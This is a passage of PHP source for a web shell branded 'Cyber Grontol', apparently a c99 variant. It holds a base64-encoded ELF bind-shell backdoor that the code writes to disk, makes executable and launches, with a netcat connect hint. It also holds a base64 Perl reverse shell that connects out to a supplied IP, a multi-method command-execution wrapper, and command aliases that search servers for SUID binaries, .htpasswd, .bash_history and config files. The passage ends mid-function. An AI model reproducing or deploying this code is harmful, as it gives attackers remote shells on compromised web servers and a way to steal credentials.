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bGxfZ21vbl9zdGFydABjcnRzdHVmZi5jAF9fQ1RPUl9MSVNUX18AX19EVE9SX0xJU1RfXwBfX0pDUl9MSVNUX18AY29tcGxldGVkLjQ0NjMAcC40NDYyAF9fZG9fZ2xvYmFsX2R0b3JzX2F1eABmcmFtZV9kdW1teQBfX0NUT1JfRU5EX18AX19EVE9SX0VORF9fAF9fRlJBTUVfRU5EX18AX19KQ1JfRU5EX18AX19kb19nbG9iYWxfY3RvcnNfYXV4AC9idWlsZC9idWlsZGQvZ2xpYmMtMi4zLjYvYnVpbGQtdHJlZS9pMzg2LWxpYmMvY3N1L2NydG4uUwAxLmMAX0RZTkFNSUMAX19maW5pX2FycmF5X2VuZABfX2ZpbmlfYXJyYXlfc3RhcnQAX19pbml0X2FycmF5X2VuZABfR0xPQkFMX09GRlNFVF9UQUJMRV8AX19pbml0X2FycmF5X3N0YXJ0AGV4ZWNsQEBHTElCQ18yLjAAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAZm9ya0BAR0xJQkNfMi4wAF9fZHNvX2hhbmRsZQBfX2xpYmNfY3N1X2ZpbmkAYWNjZXB0QEBHTElCQ18yLjAAX2luaXQAbGlzdGVuQEBHTElCQ18yLjAAc2V0c29ja29wdEBAR0xJQkNfMi4wAF9zdGFydABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQAbWFpbgBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AGJpbmRAQEdMSUJDXzIuMABfZmluaQBleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfX2k2ODYuZ2V0X3BjX3RodW5rLmJ4AF9lbmQAc2VuZEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18A";
if (!empty($_POST['backconnectport']) && ($_POST['use']=="shbd"))
{
$ip = gethostbyname($_SERVER["HTTP_HOST"]);
$por = $_POST['backconnectport'];
if(is_writable(".")){
cfb("shbd",$backdoor);
ex("chmod 777 shbd");
$cmd = "./shbd $por";
exec("$cmd > /dev/null &");
$scan = o2xdaexec("ps aux");
if(eregi("./shbd $por",$scan)){ $data = ("
</br></br>Process found running, backdoor setup successfully."); }elseif(eregi("./shbd $por",$scan)){ $data = ("
</br>Process not found running, backdoor not setup successfully."); }
$_POST['backcconnmsg']="To connect, use netcat and give it the command 'nc $ip $por'.$data";
}else{
cfb("/tmp/shbd",$backdoor);
ex("chmod 777 /tmp/shbd");
$cmd = "./tmp/shbd $por";
exec("$cmd > /dev/null &");
$scan = o2xdaexec("ps aux");
if(eregi("./shbd $por",$scan)){ $data = ("
</br></br>Process found running, backdoor setup successfully."); }elseif(eregi("./shbd $por",$scan)){ $data = ("
</br>Process not found running, backdoor not setup successfully."); }
$_POST['backcconnmsg']="To connect, use netcat and give it the command 'nc $ip $por'.$data";
}
}
if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="Perl"))
{
if(is_writable(".")){
cf("back",$back_connect);
$p2=which("perl");
$blah = ex($p2." back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
$_POST['backcconnmsg']="Trying to connect to ".$_POST['backconnectip']." on port ".$_POST['backconnectport'].".";
if (file_exists("back")) { unlink("back"); }
}else{
cf("/tmp/back",$back_connect);
$p2=which("perl");
$blah = ex($p2." /tmp/back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
$_POST['backcconnmsg']="Trying to connect to ".$_POST['backconnectip']." on port ".$_POST['backconnectport'].".";
if (file_exists("/tmp/back")) { unlink("/tmp/back"); }
}
}
if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="C"))
{
if(is_writable(".")){
cf("backc",$back_connect_c);
ex("chmod 777 backc");
//$blah = ex("gcc back.c -o backc");
$blah = ex("./backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
$_POST['backcconnmsg']="Trying to connect to ".$_POST['backconnectip']." on port ".$_POST['backconnectport'].".";
//if (file_exists("back.c")) { unlink("back.c"); }
if (file_exists("backc")) { unlink("backc"); }
}else{
ex("chmod 777 /tmp/backc");
cf("/tmp/backc",$back_connect_c);
//$blah = ex("gcc -o /tmp/backc /tmp/back.c");
$blah = ex("/tmp/backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
$_POST['backcconnmsg']="Trying to connect to ".$_POST['backconnectip']." on port ".$_POST['backconnectport'].".";
//if (file_exists("back.c")) { unlink("back.c"); }
if (file_exists("/tmp/backc")) { unlink("/tmp/backc"); } }
}
function cf($fname,$text)
{
$w_file=@fopen($fname,"w") or err();
if($w_file)
{
@fputs($w_file,base64_decode($text));
@fclose($w_file);
}
}
function cfb($fname,$text)
{
$w_file=@fopen($fname,"w") or bberr();
if($w_file)
{
@fputs($w_file,base64_decode($text));
@fclose($w_file);
}
}
function err()
{
$_POST['backcconnmsge']="</br></br><font color=red size=3>Error:</font> Ga Konek";
}
function bberr()
{
$_POST['backcconnmsge']="</br></br><font color=red size=3>Error:</font> Ga Konek backdoor !";
}
function which($pr)
{
$path = ex("which $pr");
if(!empty($path)) { return $path; } else { return $pr; }
}
function ex($cfe)
{
$res = '';
if (!empty($cfe))
{
if(function_exists('exec'))
{
@exec($cfe,$res);
$res = join("
",$res);
}
elseif(function_exists('shell_exec'))
{
$res = @shell_exec($cfe);
}
elseif(function_exists('system'))
{
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru'))
{
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r")))
{
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}
}
return $res;
}
function get_status() {
function showstat($sup,$stat) {
if ($stat=="on") { return "$sup: <font color=#008000>ON</font>";
} else {
return "$sup: <font color=#c45333>OFF</font>"; }
}
$arrfunc = array(
array("MySQL","mysql_connect"),
array("/ MSSQL","mssql_connect"),
array("/ Oracle","ocilogon"),
array("/ PostgreSQL","pg_connect"),
array("/ Curl","curl_version"),
);
$arrcmd = array(
array("/ Fetch","fetch --help"),
array("/ Wget","wget --help"),
array("/ Perl","perl -v"),
array("/ GCC","gcc -V"),
);
$statinfo = array();
foreach ($arrfunc as $func) {
if (function_exists($func[1])) { $statinfo[] = showstat($func[0],"on"); }
else { $statinfo[] = showstat($func[0],"off"); }
}
$statinfo[] = (@extension_loaded('sockets'))?showstat("Sockets","on"):showstat("Sockets","off");
foreach ($arrcmd as $cmd) {
if (o2xdaexec($cmd[1])) { $statinfo[] = showstat($cmd[0],"on"); }
else { $statinfo[] = showstat($cmd[0],"off"); }
}
return implode(" ",$statinfo);
}
$hostname_x=php_uname(n);
$itshome = getcwd();
$itshome = str_replace("/home/","~",$itshome);
$itshome = str_replace("/public_html","/".$PHP_SELF.".php",$itshome);
$enumerate = "http://".$hostname_x."/".$itshome."";
ini_set("max_execution_time",0);
if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
error_reporting(5);
$adires="";
@ignore_user_abort(TRUE);
@set_magic_quotes_runtime(0);
$win = strtolower(substr(PHP_OS,0,3)) == "win";
define("starttime",getmicrotime());
if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
$O2XDAVer = "Black Hat Edition"; //Current version
if (!empty($unset_surl)) {setcookie("TuX_surl"); $surl = "";}
elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("TuX_surl",$surl);}
else {$surl = $_REQUEST["TuX_surl"]; //Set this cookie for manual SURL
}
$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL.
if ($surl_autofill_include and !$_REQUEST["TuX_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
if (empty($surl))
{
$surl = "?".$includestr; //Self url
}
$surl = htmlspecialchars($surl);
$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited.
$login = "";
$pass = "";
$md5_pass = "";
$host_allow = array("*");
$login_txt = "Restricted area";
$accessdeniedmess = "<< <a href=\"http://cybergrontol.com\">Cyber Grontol</a>|".$O2XDAVer." ™";
$gzipencode = TRUE;
$updatenow = FALSE;
$filestealth = TRUE;
$donated_html = "<center>.:[ Cyber Grontol ]:.</center>";
$donated_act = array("");
$curdir = "./"; //start folder
$tmpdir = "";
$tmpdir_log = "./";
$log_email = "[email protected]";
$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending
$sort_save = TRUE; //If TRUE then save sorting-position using cookies.
$ftypes = array(
"html"=>array("html","htm","shtml"),
"txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
"exe"=>array("sh","install","bat","cmd"),
"ini"=>array("ini","inf"),
"code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
"img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
"sdb"=>array("sdb"),
"phpsess"=>array("sess"),
"download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
);
$dizin = str_replace("\",DIRECTORY_SEPARATOR,$dizin);
if (empty($dizin)) {$dizin = realpath(".");} elseif(realpath($dizin)) {$dizin = realpath($dizin);}
$dizin = str_replace("\",DIRECTORY_SEPARATOR,$dizin);
if (substr($dizin,-1) != DIRECTORY_SEPARATOR) {$dizin .= DIRECTORY_SEPARATOR;}
$dizin = str_replace("\","\",$dizin);
$dizinispd = htmlspecialchars($dizin);
/*dizin*/
$real = realpath($dizinispd);
$path = basename ($PHP_SELF);
function dosyayicek($link,$file)
{
$fp = @fopen($link,"r");
while(!feof($fp))
{
$cont.= fread($fp,1024);
}
fclose($fp);
$fp2 = @fopen($file,"w");
fwrite($fp2,$cont);
fclose($fp2);
}
$exeftypes = array(
getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
"perl %f%" => array("pl","cgi")
);
$regxp_highlight = array(
array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example
array("config.php",1) // example
);
$safemode_diskettes = array("a"); // This variable for disabling diskett-errors.
// array (i=>{letter} ...); string {letter} - letter of a drive
//$safemode_diskettes = range("a","z");
$hexdump_lines = 8;// lines in hex preview file
$hexdump_rows = 24;// 16, 24 or 32 bytes in one line
$nixpwdperpage = 100; // Get first N lines from /etc/passwd
$bindport_pass = "Cyber Grontol"; // default password for binding
$bindport_port = "31373"; // default port for binding
$bc_port = "31373"; // default port for back-connect
$datapipe_localport = "8081"; // default port for datapipe
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2VjaG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHRhcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
// Command-aliases
if (!$win)
{
$cmdaliases = array(
array("-----------------------------------------------------------", "ls -la"),
array("find all suid files", "find / -type f -perm -04000 -ls"),
array("find suid files in current dir", "find . -type f -perm -04000 -ls"),
array("find all sgid files", "find / -type f -perm -02000 -ls"),
array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
array("find config.inc.php files", "find / -type f -name config.inc.php"),
array("find config* files", "find / -type f -name \"config*\""),
array("find config* files in current dir", "find . -type f -name \"config*\""),
array("find all writable folders and files", "find / -perm -2 -ls"),
array("find all writable folders and files in current dir", "find . -perm -2 -ls"),
array("find all service.pwd files", "find / -type f -name service.pwd"),
array("find service.pwd files in current dir", "find . -type f -name service.pwd"),
array("find all .htpasswd files", "find / -type f -name .htpasswd"),
array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
array("find all .bash_history files", "find / -type f -name .bash_history"),
array("find .bash_history files in current dir", "find . -type f -name .bash_history"),
array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
array("list file attributes on a Linux second extended file system", "lsattr -va"),
array("show opened ports", "netstat -an | grep -i listen")
);
} else {
$cmdaliases = array(
array("-----------------------------------------------------------", "dir"),
array("show opened ports", "netstat -an")
);
}
$sess_cookie = "IDC-ADV"; // Cookie-variable name
$usefsbuff = TRUE; //Buffer-function
$copy_unset = FALSE; //Remove copied files from buffer after pasting
$quicklaunch = array(
array("<center>Home",$surl),
array("Back","#\" onclick=\"history.back(1)"),
array("Forward","#\" onclick=\"history.go(1)"),
array("Up",$surl."xtux=ls&d=%upd&sort=%sort"),
array("Refresh",""),
array("Search",$surl."xtux=search&d=%d"),
array("<br /><br />"),
array("Tools",$surl."xtux=tools"),
array("ps aux",$surl."xtux=processes"),
array("Encoder",$surl."xtux=encoder"),
array("Infobox",$surl."xtux=security"),
array("MySQL Manager",$surl."act=sql"),
array("Packet Storm",$packet),
array("<br /><br />"),
array("Readable dir",$surl."xtux=finder"),
array("Backdoor",$surl."xtux=shbd"),
array("Back Connect",$surl."xtux=backc"),
array("Remove",$surl."xtux=selfremove")
);
//Highlight syntax code colors
$highlight_background = "transparent";
$highlight_bg = "#FFFFFF";
$highlight_comment = "#6A6A6A";
$highlight_default = "#0F0";
$highlight_html = "#090";
$highlight_keyword = "#007700";
$highlight_string = "#FF0000";
@$f = $_REQUEST["f"];
@extract($_REQUEST["TuXcook"]);
//END CONFIGURATION
@set_time_limit(0);
$tmp = array();
foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\*",".*",preg_quote($v));}
$s = "!^(".implode("|",$tmp).")$!i";
if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {
exit("<a href=\"http://cybergrontol.com\">Cyber Grontol</a> - your host (".getenv("REMOTE_ADDR").") not allow");
}
if (!empty($login))
{
if (empty($md5_pass)) {$md5_pass = md5($pass);}
if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
{
if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace(" |<br>"," ",$donated_html));}
header("WWW-Authenticate: Basic realm=\"Version".$O2XDAVer.": ".$login_txt."\"");
header("HTTP/1.0 401 Unauthorized");
exit($accessdeniedmess);
}
}
if ($xtux != "img")
{
$lastdir = realpath(".");
chdir($curdir);
if ($selfwrite or $updatenow) {@ob_clean(); TuX_getupdate($selfwrite,1); exit;}
$sess_data = unserialize($_COOKIE["$sess_cookie"]);
if (!is_array($sess_data)) {$sess_data = array();}
if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
$disablefunc = @ini_get("disable_functions");
if (!empty($disablefunc))
{
$disablefunc = str_replace(" ","",$disablefunc);
$disablefunc = explode(",",$disablefunc);
}
if (!function_exists("c99_buff_prepare"))
{
function c99_buff_prepare()
{
global $sess_data;
global $xtux;
foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\",DIRECTORY_SEPARATOR,realpath($v));}
foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\",DIRECTORY_SEPARATOR,realpath($v));}
$sess_data["copy"] = array_unique($sess_data["copy"]);
$sess_data["cut"] = array_unique($sess_data["cut"]);
sort($sess_data["copy"]);
sort($sess_data["cut"]);
if ($xtux != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}
} else {
foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
}
}
c99_buff_prepare();
if (!function_exists("c99_sess_put"))
{
function c99_sess_put($data)
{
global $sess_cookie;
global $sess_data;
c99_buff_prepare();
$sess_data = $data;
$data = serialize($data);
setcookie($sess_cookie,$data);
}
}
foreach (array("sort","sql_sort") as $v)
{
if (!empty($_GET[$v])) {$$v = $_GET[$v];}
if (!empty($_POST[$v])) {$$v = $_POST[$v];}
}
if ($sort_save)
{
if (!empty($sort)) {setcookie("sort",$sort);}
if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
}
if (!function_exists("str2mini"))
{
function str2mini($content,$len)
{
if (strlen($content) > $len)
{
$len = ceil($len/2) - 2;
return substr($content, 0,$len)."...".substr($content,-$len); } else {
return $content;}
}
}
if (!function_exists("view_size"))
{
function view_size($size)
{
if (!is_numeric($size)) {return FALSE; } else {
